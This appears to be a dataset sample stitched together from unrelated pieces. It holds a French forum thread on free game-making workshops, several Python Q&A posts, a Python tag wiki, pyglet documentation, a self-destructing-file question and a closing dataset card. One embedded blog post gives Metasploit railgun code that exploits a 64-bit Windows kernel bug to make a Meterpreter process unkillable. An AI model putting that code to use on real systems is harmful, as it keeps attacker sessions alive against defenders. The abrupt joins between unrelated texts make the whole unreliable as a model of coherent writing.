Je suppose qu'une fonction pour les rectangles serait bien ou même peut-être existe-t-il quelque chose de "tout fait" dans Pygame. Les chiffres entre parenthèses indiquent d'abord la couleur de la ligne en mode RVB, puis les coordonnées des points de début et de fin (en pixels).
Pour trouver les codes de couleurs, choisir une couleur dans le sélecteur de couleur de Gimp et noter les chiffres R,V et B indiqués sur la droite du sélecteur de couleur.
Ce que le livre d'Yves Bailly m'a fait comprendre, c'est que pour créer un jeu en python, par ex., il faut d'abord exprimer clairement les choses et définir objets et actions du jeu (en français, tout bêtement !).
En les exprimant clairement et de manière détaillée, on voit plus rapidement comment travailler et structurer le code qu'on fera par la suite.
Un simple mouvement d'un des éléments du décor nécessite de définir les coordonnées de cet objet, de définir ses modalités de déplacement, d'indiquer ce qui provoque ce déplacement (touche de clavier, par ex); le fait qu'il ait une certaine vitesse implique le temps, et donc peut-être un chronomètre, etc!
Dernière modification par doudoulolita (Le 20/07/2010, à 19:16)
Hors ligne
tshirtman
Re : Faire une animation sur la création de jeux vidéo libres
Ce que le livre d'Yves Bailly m'a fait comprendre, c'est que pour créer un jeu en python, par ex., il faut d'abord exprimer clairement les choses et définir objets et actions du jeu (en français, tout bêtement !).
En les exprimant clairement et de manière détaillée, on voit plus rapidement comment travailler et structurer le code qu'on fera par la suite.
tout à fait, c'est vrai pour tout type de programmes, et les jeux ne font pas exceptions, mieux on sait ce qu'on veux faire (et ce n'est pas facile) plus on a de chance de le faire correctement!
un jeune de 15 ans gentil mais qui croit que ça lui sera facile de devenir testeur de jeux,
c'est facile, sauf si tu veux que ce soit un vrai métier…
Dernière modification par tshirtman (Le 20/07/2010, à 19:34)
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
Pour un jeune, je pense que les logiciels libres et en particulier les jeux libres leur offrent une chance formidable de s'entraîner et de vérifier leur motivation au cas où ils souhaiteraient faire de leur passion un métier.
Tester, développer, c'est quand même plus facile dans ce cadre qu'au sein d'une entreprise très fermée, non ?
Le problème de certains ados, c'est qu'ils pensent que pour être testeur, il suffit juste de jouer et que ce sera des jeux qui les passionnent alors qu'un simple tour sur les forums au sujet de ce métier (ou de cette activité, si on préfère) montre le contraire.
Mais que les ados rêvent, c'est normal. Après, s'ils veulent vraiment réaliser leur rêve, il leur faudra se confronter à la réalité et prouver leur motivation pour pouvoir vivre de leur passion.
Je dis ça alors qu'ado, je rêvais d'être styliste chez Jean-Paul Gaultier, et que je me suis retrouvée quelques années plus tard simple patronnière dans le Sentier (ceux qui connaissent Paris savent dans quelles conditions on y travaille le plus souvent)...
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
J'ai oublié de dire ici que je n'ai pas eu beaucoup plus de monde pour l'atelier programmation. Un adulte qui pensait qu'il s'agissait de faire des bases de données (et dans son cas, un simple tableur comme calc devait lui suffire, à mon avis), le jeune qui était là pour Blender et deux autres plus jeunes encore.
Les jeunes ont eu du mal à s'intéresser à Ultimate Smash Friends et à python !
Celui de 15 ans m'a montré RPG maker dont pour ma part je ne raffole pas mais qui a amusé les autres pour créer des décors très facilement.
Le côté programmation des persos sur RPGmaker n'est pas si évident que ça en a l'air, j'ai eu ensuite du mal à reproduire ce que m'avait montré le jeune, qui pourtant semblait super simple.
Ce que je n'aime pas dans ce programme, c'est le côté "déjà tout fait" que les jeunes, eux, aiment beaucoup.
Ce qui est plutôt pratique, c'est la simplicité de création des décors qui peut plaire aux plus jeunes pour les amener ensuite vers plus de programmation avec les personnages.
Je ne sais pas si ce type de jeu permettant de créer un jeu existe en logiciel libre et a ce côté facile et convivial qu'aiment les jeunes.
Jusqu'ici nos recherches en matière de jeux intéressants sont un peu stériles. J'ai voulu mettre Yo frankie sur les ordis du boulot et ça ne fonctionne pas alors que chez moi ça marche.
C'est sans doute nos ordis du boulot qui pèchent quelque part. J'ai en effet Ubuntu Lucid Lynx comme au boulot mais ma config est supérieure.
Dernière modification par doudoulolita (Le 19/08/2010, à 07:29)
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
Par hasard, tout récemment, j'ai découvert le jeu Plee the bear mais pour contribuer, c'est encore plus difficile car c'est en python C++.
Les tutoriels sont par contre très bien documentés et le jeu présente une cohérence intéressante et un mini scénario.:)
A titre perso je vais continuer à apprendre python et pygame. Je verrai plus tard si je peux réunir des jeunes adultes et des ados motivés pour un autre atelier.
Dernière modification par doudoulolita (Le 19/08/2010, à 07:31)
Hors ligne |
I am making an Ajax request into views as follows:
def all_json_models(request):
data = {}
try:
isp = request.GET['status']
present_isp = Priority.objects.filter(ispname = isp)
isp_count = MultiWAN.objects.all()
# data['latest_no_rules'] = latest_no_rules
#data['present_isp'] = present_isp
data['isp_count'] = isp_count
return HttpResponse(simplejson.dumps(data))
my models.py is like
class MultiWAN(models.Model):
isp_name = models.CharField(max_length=10)
description = models.TextField(null=True)
ip_address = models.IPAddressField(null=True)
subnet = models.IPAddressField(null=True)
gateway = models.IPAddressField(null=True)
nameserver = models.ForeignKey('NameServer')
weight = models.IntegerField(null=False)
interface = models.CharField(max_length=5)
def __unicode__(self):
"""
This function is to return the values we required.
Arguments:
- `self`:
"""
# return u'%s ' % (self.isp_name)
class NameServer(models.Model):
""" A Isp can have more than one nameserver so far we are declearing a seperate table
"""
name = models.IPAddressField(null=False)
class Priority(models.Model):
priority = models.IntegerField(null = True)
ispname = models.ForeignKey('MultiWAN')
rule = models.CharField(max_length=5,null=False)
From = models.IPAddressField(null=True)
To = models.IPAddressField(null=True)
def __unicode__(self):
return u'%s ' % (self.priority)
while making request i am getting the error:
"coercing to Unicode: need string or buffer, NoneType found"
What i am doing wrong here? |
I am in the process of writing a proof of concept RESTful server using web.py
Here is the script:
#!/usr/bin/env python
import web
import json
def notfound():
#return web.notfound("Sorry, the page you were looking for was not found.")
return json.dumps({'ok':0, 'errcode': 404})
def internalerror():
#return web.internalerror("Bad, bad server. No donut for you.")
return json.dumps({'ok':0, 'errcode': 500})
urls = (
'/(.*)', 'handleRequest',
)
app = web.application(urls, globals())
app.notfound = notfound
app.internalerror = internalerror
class handleRequest:
def GET(self, method_id):
if not method_id:
return web.notfound()
else:
return json.dumps({'ok': method_id})
def POST(self):
i = web.input()
data = web.data() # you can get data use this method
print data
pass
if __name__ == "__main__":
app.run()
I can send GET requests ok, however when I try to send a POST request, I get an internal error. At the moment, I am not sure whether the error is due to cURL not sending the POST correctly (highly unlikely), or whether my server is not correctly implemented (more likely).
This is the command I use to send the POST request:
curl -i -H "Accept: application/json" -X POST -d "value":"30","type":"Tip 3","targetModule":"Target 3","active":true http://localhost:8080/xx/xxx/xxxx
Here is the server response:
me@localhost:~curl -i -H "Accept: application/json" -X POST -d "value":"30","type":"Tip 3","targetModule":"Target 3","active":true http://localhost:8080/xx/xxx/xxxx
HTTP/1.1 500 Internal Server Error
Content-Length: 1382
Content-Type: text/plain
Traceback (most recent call last):
File "/usr/local/lib/python2.6/dist-packages/web.py-0.36-py2.6.egg/web/wsgiserver/__init__.py", line 1245, in communicate
req.respond()
File "/usr/local/lib/python2.6/dist-packages/web.py-0.36-py2.6.egg/web/wsgiserver/__init__.py", line 775, in respond
self.server.gateway(self).respond()
File "/usr/local/lib/python2.6/dist-packages/web.py-0.36-py2.6.egg/web/wsgiserver/__init__.py", line 2018, in respond
response = self.req.server.wsgi_app(self.env, self.start_response)
File "/usr/local/lib/python2.6/dist-packages/web.py-0.36-py2.6.egg/web/httpserver.py", line 270, in __call__
return self.app(environ, xstart_response)
File "/usr/local/lib/python2.6/dist-packages/web.py-0.36-py2.6.egg/web/httpserver.py", line 238, in __call__
return self.app(environ, start_response)
File "/usr/local/lib/python2.6/dist-packages/web.py-0.36-py2.6.egg/web/application.py", line 277, in wsgi
result = self.handle_with_processors()
File "/usr/local/lib/python2.6/dist-packages/web.py-0.36-py2.6.egg/web/application.py", line 247, in handle_with_processors
return process(self.processors)
File "/usr/local/lib/python2.6/dist-packages/web.py-0.36-py2.6.egg/web/application.py", line 244, in process
raise self.internalerror()
TypeError: exceptions must be old-style classes or derived from BaseException, not str
What is the cause of the error - and how may I fix it? |
The program seems to work, however the linear regression line created does not seem to really be the line of best fit.
I think the problem is the implementation of the equation. I'm not sure if i'm interpreting it right, also I am unsure if I am doing what should be done in regards to the last paragraph of the exercise.
here is the graphics library: http://mcsp.wartburg.edu/zelle/python/ppics1/code/graphics.pyif you want to try it out.
here is the the exercise:
Write a program that graphically plots a regression line, that is, the line with the best fit through acollection of points. First ask the user to specify the data points by clicking on them in a graphicswindow. To find the end of input, place a small rectangle labelled âDone" in the lower left corner ofthe window; the program will stop gathering points when the user clicks inside that rectangle.The regression line is the line with the following equation:
here is the equation: http://i.stack.imgur.com/xj2uu.jpg I can't post pictures
x is the mean of the x-values and .y is the mean of the y-values.As the user clicks on points, the program should draw them in the graphics window and keep track ofthe count of input values and the running sum of x, y, x2 and xy values. When the user clicks inside theâDone" rectangle, the program then computes value of y (using the equations above) correponding tothe x values at the left and right edges of the window to compute the endpoints of the regression linespanning the window. After the line is drawn, the program will pause for another mouse click beforeclosing the window and quitting.
I can't seem to get the code formatted right so I included this http://pastebin.com/JsQ0eM2R
# 8-13-LOB.py
from graphics import *
def listMulti(list1,list2):
tempAcc = 0
for i in range(len(list1)):
tempAcc += list1[i] * list2[i]
print tempAcc
return tempAcc
def squareList(iterable):
itSum = 0
for i in iterable:
itSum += i**2
return itSum
def listMean(iterable):
return sum(iterable)/len(iterable)
def regression(xList,yList,win):
xBar = listMean(xList)
yBar = listMean(yList)
xListSq = squareList(xList)
xListXyList = listMulti(xList,yList)
m = ((xListXyList) - ((len(xList)*xBar*yBar)))/\
((xListSq) - (len(xList)* (xBar**2)))
y1 = yBar + m*(-50.0 - xBar)
y2 = yBar + m*(50.0 - xBar)
Line(Point(-50.0,y1),Point(50.0,y2)).draw(win)
return "ybar: %f\txBar: %f\tm: %f\ty1: %f\ty2: %f" %(yBar,xBar,m,y1,y2)
def windraw():
win = GraphWin("Line of Best Fit",500,500)
win.setCoords(-50.0,-50.0,50.0,50.0)
doneBox = Rectangle(Point(-50,-50),Point(-40,-45))
doneBox.setWidth(3)
doneBoxTxt = Text(Point(-45,-47.5),"DONE")
doneBox.draw(win)
doneBoxTxt.draw(win)
return win
def pointBuild(xList,yList,win):
tempPoint = Point(25,25) # prime tempPoint for sentinel loop
# tests if given point is past rectangle created for doneBox
while (tempPoint.getX() - (Point(-40,-45)).getX() == abs(tempPoint.getX() - (Point(-40,-45)).getX())) or\
(tempPoint.getY() - (Point(-40,-45)).getY() == abs(tempPoint.getY() - (Point(-40,-45)).getY())):
tempPoint = win.getMouse()
tempPoint.draw(win)
xList.append(tempPoint.getX()); yList.append(tempPoint.getY())
def main():
xList,yList = [],[]
win = windraw()
pointBuild(xList,yList,win)
print regression(xList,yList,win)
# Test out coordinate lists accumulation from pointBuild
for i in range(len(xList)-1):
print "Point(%2.2f,%2.2f)" % (xList[i],yList[i])
win.getMouse()
win.close()
main()
|
#!/usr/bin/python -tt
# A dictionary Of Each New SSID
WirelessNetwork = {}
WirelessNetwork['name'] = 'baz'
WirelessNetwork['type'] = 'bar'
WirelessNetwork['pass'] = 'foo'
# A list of all SSIDs
networkAddList = (WirelessNetwork)
def addWireless(passedDict={}):
print 'Adding SSID: %s' % passedDict['name']
print 'Of type: %s' % passedDict['type']
print 'With Password: %s' % passedDict['pass']
for networkDict in networkAddList:
addWireless(networkDict)
So I have a List "networkAddList" full of dictionaries ,i.e. "WirelessNetwork". I want to iterate that list "for networkDict in networkAddList" and pass the dictionary itself to my function "addWireless"
When I run the sample code above I get the following error:
TypeError: 'string indices must be integers, not str'
Which makes me think that python thinks passedDict is a string, thus thinking I want string indices i.e. 0 or something rather then the key 'name'. I'm new to python but I am going to have to do this kind of thing a lot so I hope somebody can point me in the right direction as I think its pretty simple. But I can't change the basic idea , i.e. a list of dictionaries. |
Python is a dynamic and strongly typed programming language that is used for a wide range of applications. It is a general-purpose, high-level programming language that is designed to emphasize usability.
Python programmers can express concepts in fewer lines of code than would be possible in languages such as c, and the language has constructs intended to be used to create clear programs in a variety of domains.
Two similar but incompatible versions of Python are in widespread use (2 and 3). Please consider mentioning the version and implementation that you are using when asking a question about Python.
Python supports multiple programming paradigms, including object-oriented, imperative and functional programming styles. It features a fully dynamic type system and automatic memory management, similar to that of scheme, ruby, perl and tcl.
Like other dynamic languages, Python is often used as a scripting language, but is also used in a wide range of non-scripting contexts. Using third-party tools, Python code can be packaged into standalone executable programs. Python interpreters are available for many operating systems.
cpython, the reference implementation of Python, is free and open source software and has a community-based development model, as do nearly all of its alternative implementations. There are a wide variety of implementations more suited for specific environments or tasks.
The philosophy of Python is succinctly formulated in The Zen of Python written by Tim Peters, which can be revealed by issuing this command at the interactive interpreter:
>>> import this
The documentation can also be accessed offline for your installation of Python in the following manner:
Going into Your_Python_install_dir/Doc. There is a complete Python documentation present for the version of Python installed on your computer.
Running pydoc xorpython -m pydoc xfrom the command prompt or terminal displays documentation for modulex.
Unlike many other languages Python uses an indentation based syntax and this may take some getting used to for programmers familiar with braces for syntax.
>>> from __future__ import braces
File "<stdin>", line 1
SyntaxError: not a chance
To help with the transition it is a recommendation to use a properly configured text-editor created for programmers or an IDE. Python comes with a basic IDE called IDLE to get you started. Other popular examples are the charity-ware vim, the free GNU emacs and eclipse+pydev. Take a look at this IDE comparison list for many other alternatives.
Tagging recommendation:
Use the python tag for all Python related questions. If you believe your question includes issues specific to incompatibilities between Python 2.x and Python 3.x, use python-2.x or python-3.x in addition to the main python tag. If you believe your question may be even more specific, you can include a version specific tag such as python-2.7.
Also, consider including the tag for the specific implementation you are using other than cpython.
When answering Python questions you may assume the use of cpython unless explicitly stated otherwise.
References
Official documentation for the current stable versions: 2.7.8 and 3.4.1.
Release notes for the current stable versions: 2.7.8 and 3.4.1.
Python (programming language) (Wikipedia)
Python for Programmers
Python - Quick Guide
Porting Python 2 Code to Python 3
The non-profit Python Software Foundation manages CPython.
PSF License Agreement for Python 2.7.8 and 3.4.1
Popular web frameworks based on Python
The Web framework for perfectionists (with deadlines). Django makes it easier to build better Web apps more quickly and with less code. Django is a high-level Python Web framework that encourages rapid development and clean, pragmatic design. It lets you build high-performing, elegant Web applications quickly. Django focuses on automating as much as possible and adhering to the DRY (Don't Repeat Yourself) principle.
Flask is a micro-framework for Python based on Werkzeug, Jinja 2 and good intentions.
CherryPy is a pythonic, object-oriented web framework that enables developers to build web applications in much the same way they would build any other object-oriented Python program. This results in smaller source code developed in less time. CherryPy has been in use for over 7 years and it is being used in production by many sites, from the simplest to the most demanding.
A lightweight Web framework emphasizing flexibility and rapid development. It combines the very best ideas from the worlds of Ruby, Python and Perl, providing a structured but extremely flexible Python web framework. It's also one of the first projects to leverage the emerging WSGI standard, which allows extensive re-use and flexibility but only if you need it.
web.py is a web framework for Python that is as simple as it is powerful. web.py is in the public domain; you can use it for whatever purpose with absolutely no restrictions. web.py lets you write web apps in Python.
Built on the existing Zope 3 libraries, but aims to provide an easier learning curve and a more agile development experience. Grok does this by placing an emphasis on convention over configuration and DRY (Don't Repeat Yourself).
Popular Mathematical/Scientific computing libraries in Python
NumPy is the fundamental package for scientific computing with Python. It contains among other things:
a powerful N-dimensional array object
sophisticated (broadcasting) functions
tools for integrating C/C++ and Fortran code
useful linear algebra, Fourier transform, and random number capabilities
These features also make it possible to use NumPy in general-purpose database applications.
SciPy is an open source library for the Python programming language consisting of mathematical algorithms and functions often used in science and engineering. SciPy includes algorithms and tools for tasks such as optimization, clustering, discrete Fourier transforms, linear algebra, signal processing and multi-dimensional image processing. SciPy is closely related to NumPy and depends on many NumPy functions, including a multidimensional array that is used as the basic data structure in SciPy.
matplotlib is a plotting library for the Python programming language and its NumPy numerical mathematics extension. It provides an object-oriented API for embedding plots into applications using general-purpose GUI toolkits like wxPython, Qt, or GTK. There is also a procedural "pylab" interface based on a state machine (like OpenGL), designed to closely resemble that of MATLAB.
pandas, the Python Data Analysis Library, is an open source, BSD-licensed library providing high-performance, easy-to-use data structures and data analysis tools for the Python programming language.
Community
Chat Rooms
Chat about Python with other Stack Overflow users in the Python chat room.
Other Sites
Tutor mailing list
python-help mailing list
PyCon
Python Weekly
Pycoder's Weekly
Python Google Group
Free Python programming Books
Wikibooks' Non-Programmers Tutorial for Python
The Official Python Tutorial
Building Skills in Python Version 2.6 (Steven F. Lott)
A Byte of Python (Swaroop C H.)
Data Structures and Algorithms in Python (Bruno R. Preiss)
Dive into Python
Dive into Python 3
The Django Book (Adrian Holovaty and Jacob Kaplan-Moss)
How to Think Like a Computer Scientist: Learning with Python (Allen Downey, Jeff Elkner and Chris Meyers)
Invent Your Own Computer Games With Python (Al Sweigart)
Learn Python The Hard Way (Zed A. Shaw)
Making Games with Python & Pygame (Albert Sweigart)
Natural Language Processing with Python (Steven Bird, Ewan Klein, and Edward Loper)
Python Bibliotheca
Python for Fun (Chris Meyers)
Snake Wrangling For Kids (Jason R. Briggs)
Think Python (PDF file) (Allen Downey)
Porting to Python 3 (Lennart Regebro)
Interactive Python learning
Python Monk - Interactive Python learning in the browser
Codeacademy - Learn the fundamentals of Python and dynamic programming
CodeSkulptor - Interactive online IDEfor Python programming
Coursera - Online course for introduction to interactive Python programming
CheckiO - Game world you can explore using your Python programming skills
Repl.it - Online interpreter for Python that it allow saving code for later demonstration
Python Online Courses
Programming for Everybody - Introduction to programming using Python.
An Introduction to Interactive Programming in Python - The name explains itself. |
Saw this post about a kernel bug in 64 bit Windows that is a DoS, it can also create an unkillable process: Blog post: http://waleedassar.blogspot.com/2013/02/kernel-bug-1-processiopriority.html
Figured I’d take a swing at making a module that I could put Meterpreter into an unkillable state. Good times at CCDC could be had.
Started with the C code for the bug: http://pastebin.com/QejGQXib along with the only resource I could find about the actual function: http://processhacker.sourceforge.net/doc/ntfill_8h.html#a6557e0dd024f0e9fa6132eb52d12810a
I came up with this:
1 2 3 4 5 6 7 8 9 10 11 12
client.railgun.add_function('ntdll','ZwSetInformationProcess','DWORD',[
["DWORD","ProcessHandle","in"],
["DWORD","ProcessInformationClass","in"],
["DWORD","ProcessInformation","inout"],
["DWORD","ProcessInformationLength","in"],
])
processinfo = 0x8000F129
tproc = client.sys.process.open
tmem = tproc.memory.allocate(4)
tproc.memory.write(tmem,processinfo)
cpidhandle = client.railgun.kernel32.GetCurrentProcess()['return']
client.railgun.ntdll.ZwSetInformationProcess(cpidhandle,0x21,tmem,0x4)
ScriptJunkie quickly identified that I was using a DWORD for a Handle and using 4 bits for a 64 bit process (should be 8) as well as the fact that I could use a PDWORD with the ProcessInformation inout parameter instead of writing it to memory myself.
The result:
1 2 3 4 5 6 7 8 9
client.railgun.add_function('ntdll','ZwSetInformationProcess','DWORD',[
["HANDLE","ProcessHandle","in"],
["DWORD","ProcessInformationClass","in"],
["PDWORD","ProcessInformation","inout"],
["DWORD","ProcessInformationLength","in"],
])
processinfo = 0x8000F129
cpidhandle = client.railgun.kernel32.GetCurrentProcess()['return']
client.railgun.ntdll.ZwSetInformationProcess(cpidhandle,0x21,processinfo,0x4)
Which results in a process that you can’t kill, but the process is also non-functioning as far as I can tell because the Meterpreter session dies.
I’m curious if with some tweaking I can get it to act much like the KillMe.exe https://code.google.com/p/ollytlscatch/downloads/detail?name=KillMe.exe
Which continues to operate just fine after the modification happens. |
I am not a kind of expert in python twisted, please help me out for my problem , the getChild is not calling when I am trying the path localhost:8888/dynamicchild.even put isLeaf as False in my resource .
as per my understanding when I tried localhost:8888 it should return blue page of course it is happening but when ever I tried localhost:8888/somex the statement print " getChild called " should be printed on screen but now it is not happening
from twisted.web import resource
from twisted.web import server
from twisted.internet import reactor
class MyResource(resource.Resource):
isLeaf=False
def render(self,req):
return "<body bgcolor='#00aacc' />"
def getChild(self,path,request):
print " getChild called "
r=resource.Resource()
r.putChild('',MyResource())
f=server.Site(r)
reactor.listenTCP(8888,f)
reactor.run()
|
Trees Indices Toggle frames
pyglet is a cross-platform games and multimedia package.
Detailed documentation is available at http://www.pyglet.org
pyglet.app
Application-wide functionality.
pyglet.clock
Precise framerate calculation, scheduling and framerate limiting.
pyglet.event
Event dispatch framework.
pyglet.font
Load fonts and render text.
pyglet.font.base
Abstract classes used by pyglet.font implementations.
pyglet.gl
OpenGL and GLU interface.
pyglet.gl.gl_info
Information about version and extensions of current GL implementation.
pyglet.gl.glu_info
Information about version and extensions of current GLU implementation.
pyglet.graphics
Low-level graphics rendering.
pyglet.graphics.allocation
Memory allocation algorithm for vertex arrays and buffers.
pyglet.graphics.vertexattribute
Access byte arrays as arrays of vertex attributes.
pyglet.graphics.vertexbuffer
Byte abstractions of Vertex Buffer Objects and vertex arrays.
pyglet.graphics.vertexdomain
Manage related vertex attributes within a single vertex domain.
pyglet.image
Image load, capture and high-level texture functions.
pyglet.image.atlas
Group multiple small images into larger textures.
pyglet.info
Get environment information useful for debugging.
pyglet.media
Audio and video playback.
pyglet.resource
Load application resources from a known path.
pyglet.sprite
Display positioned, scaled and rotated images.
pyglet.text
Text formatting, layout and display.
pyglet.text.caret
Provides keyboard and mouse editing procedures for text layout.
pyglet.text.document
Formatted and unformatted document interfaces used by text layout.
pyglet.text.formats
Document formats.
pyglet.text.formats.attributed
Extensible attributed text format for representing pyglet formatteddocuments.
pyglet.text.formats.html
Decode HTML into attributed text.
pyglet.text.formats.plaintext
Plain text decoder.
pyglet.text.formats.structured
Base class for structured (hierarchical) document formats.
pyglet.text.layout
Render simple text and formatted documents efficiently.
pyglet.text.runlist
Run list encoding utilities.
pyglet.window
Windowing and user-interface events.
pyglet.window.event
Events for pyglet.window.
pyglet.window.key
Key constants and utilities for pyglet.window.
pyglet.window.mouse
Mouse constants and utilities for pyglet.window.
options =
Global dict of pyglet options.
version =
The release version of this pyglet installation.
Global dict of pyglet options. To change an option from its default, youmust import pyglet before any sub-packages. For example:
import pyglet pyglet.options['debug_gl'] = False
The default options can be overridden from the OS environment. Thecorresponding environment variable for each option key is prefaced byPYGLET_. For example, in Bash you can set the debug_gl option with:
PYGLET_DEBUG_GL=True; export PYGLET_DEBUG_GL
For options requiring a tuple of values, separate each value with a comma.
The non-development options are:
A sequence of the names of audio modules to attempt to load, in order of preference. Valid driver names are:
By default, pyglet creates a hidden window with a GL context when pyglet.gl is imported. This allows resources to be loaded before the application window is created, and permits GL objects to be shared between windows even after they've been closed. You can disable the creation of the shadow window by setting this option to False. Recommended for advanced devlopers only.
Since: pyglet 1.1
If set (the default), pyglet will attempt to synchronise the drawing of double-buffered windows to the border updates of the X11 window manager. This improves the appearance of the window during resize operations. This option only affects double-buffered windows on X11 servers supporting the Xsync extension with a window manager that implements the _NET_WM_SYNC_REQUEST protocol.
Since: pyglet 1.1
{'audio': ('directsound', 'openal', 'alsa', 'silent'),
'debug_font': False,
'debug_gl': True,
'debug_gl_trace': False,
'debug_gl_trace_args': False,
'debug_graphics_batch': False,
'debug_lib': False,
'debug_media': False,
...
The release version of this pyglet installation.
Valid only if pyglet was installed from a source or binary distribution (i.e. not in a checked-out copy from SVN).
Use setuptools if you need to check for a specific release version, e.g.:
>>> import pyglet >>> from pkg_resources import parse_version >>> parse_version(pyglet.version) >= parse_version('1.1') True
Trees Indices Toggle frames
Generated by Epydoc 3.0beta1 on Fri Feb 6 10:01:49 2009 http://epydoc.sourceforge.net |
I'm working with argparse and am trying to mix sub-commands and positional arguments, and the following issue came up.
This code runs fine:
import argparse
parser = argparse.ArgumentParser()
subparsers = parser.add_subparsers()
parser.add_argument('positional')
subparsers.add_parser('subpositional')
parser.parse_args('subpositional positional'.split())
The above code parses the args into Namespace(positional='positional'), however when I change the positional argument to have nargs='?' as such:
import argparse
parser = argparse.ArgumentParser()
subparsers = parser.add_subparsers()
parser.add_argument('positional', nargs='?')
subparsers.add_parser('subpositional')
parser.parse_args('subpositional positional'.split())
It errors out with:
usage: [-h] {subpositional} ... [positional]
: error: unrecognized arguments: positional
Why is this? |
is there is way(s/w) to delete or automatically corrupt a file(.txt,.exe,.avi.....etc) if i gave that file to someone(other system) after the time specified or set by me?
platform: windows , Linux
If a file can be opened and read, it's going to be nigh impossible to prevent the end user from making a copy of it. What would prevent the user from, say, copying and pasting from the self-destructing file into a backup copy? Or printing out the text and scanning it back in? This is the same reason why DRM cannot protect music files with 100% certainty: if the music can be played, then at the very least someone can set up a microphone and re-record the audio.
However, there is a research project called Vanish which aims to make data which can "self-destruct" in the sense that it can no longer be decrypted after some point in time. However, if the text is decoded within the allowed time period, nothing prevents the end user from copying the unencrypted text into a new file. Therefore, Vanish isn't designed for restricting the end user. Instead, its goal is to make it impossible for someone to coerce you into decrypting incriminating data (since the key necessary for decryption is no longer available.
Since Vanish is still a research project and proof-of-concept, the tools provided are still fairly basic, but there is a console program for encoding files and a Firefox plug-in which can help you encrypt and decrypt blocks of text.
No. Unless the reader of that file must launch some application ahead of time or have said application (let's call it EvilDeleter) running, absolutely not.
You could always pack the file into some program that launches the appropriate application and passes via standard input to the application, with the intention to making the data inaccessible after a period of time.
EDIT:
There is no program I can find that automatically does what you want. However, by looking at shar(1) [http://www.gnu.org/software/sharutils/], you can see that simply writing a program and adding the binary output of your "locked" file into the program is simple.
Python:
x=open(file, 'b')
`data=x.read()`
--- in program after you've put data into it --
`tempfile=open('tempfile','wb')
tempfile.write(data)
tempfile.close()
os.system('vlc.exe tempfile')
os.remove('tempfile')`
There you go - you just dumped your file binary into a temporary file and opened it.
Mind you, this is the most basic example. You can do it in any language. |
I have created a PyGTK application that shows a Dialog when the user presses a button.The dialog is loaded in my __init__ method with:
builder = gtk.Builder()
builder.add_from_file("filename")
builder.connect_signals(self)
self.myDialog = builder.get_object("dialog_name")
In the event handler, the dialog is shown with the command self.myDialog.run(), but this only works once, because after run() the dialog is automatically destroyed. If I click the button a second time, the application crashes.
I read that there is a way to use show() instead of run() where the dialog is not destroyed, but I feel like this is not the right way for me because I would like the dialog to behave modally and to return control to the code only after the user has closed it.
Is there a simple way to repeatedly show a dialog using the run() method using gtkbuilder? I tried reloading the whole dialog using the gtkbuilder, but that did not really seem to work, the dialog was missing all child elements (and I would prefer to have to use the builder only once, at the beginning of the program).
[SOLUTION] (edited)
As pointed out by the answer below, using hide() does the trick. I first thought you still needed to catch the "delete-event", but this in fact not necessary. A simple example that works is:
import pygtk
import gtk
class DialogTest:
def rundialog(self, widget, data=None):
self.dia.show_all()
result = self.dia.run()
self.dia.hide()
def destroy(self, widget, data=None):
gtk.main_quit()
def __init__(self):
self.window = gtk.Window(gtk.WINDOW_TOPLEVEL)
self.window.connect("destroy", self.destroy)
self.dia = gtk.Dialog('TEST DIALOG', self.window,
gtk.DIALOG_MODAL | gtk.DIALOG_DESTROY_WITH_PARENT)
self.dia.vbox.pack_start(gtk.Label('This is just a Test'))
self.button = gtk.Button("Run Dialog")
self.button.connect("clicked", self.rundialog, None)
self.window.add(self.button)
self.button.show()
self.window.show()
if __name__ == "__main__":
testApp = DialogTest()
gtk.main()
|
End of preview. Expand
in Dataset Viewer.
RedStone
Based on the paper "RedStone: Curating General, Code, Math, and QA Data for Large Language Models" and the official GitHub repository, I have replicated the processing of the RedStone-Code (python only) dataset in Redstone.
I followed the processing steps outlined in the official repository with minimal modifications.
I have not yet used this data for training to verify its quality.
The release is under the Redstone's license. If any data within it infringes on your copyright, please contact me for removal.
- Downloads last month
- 31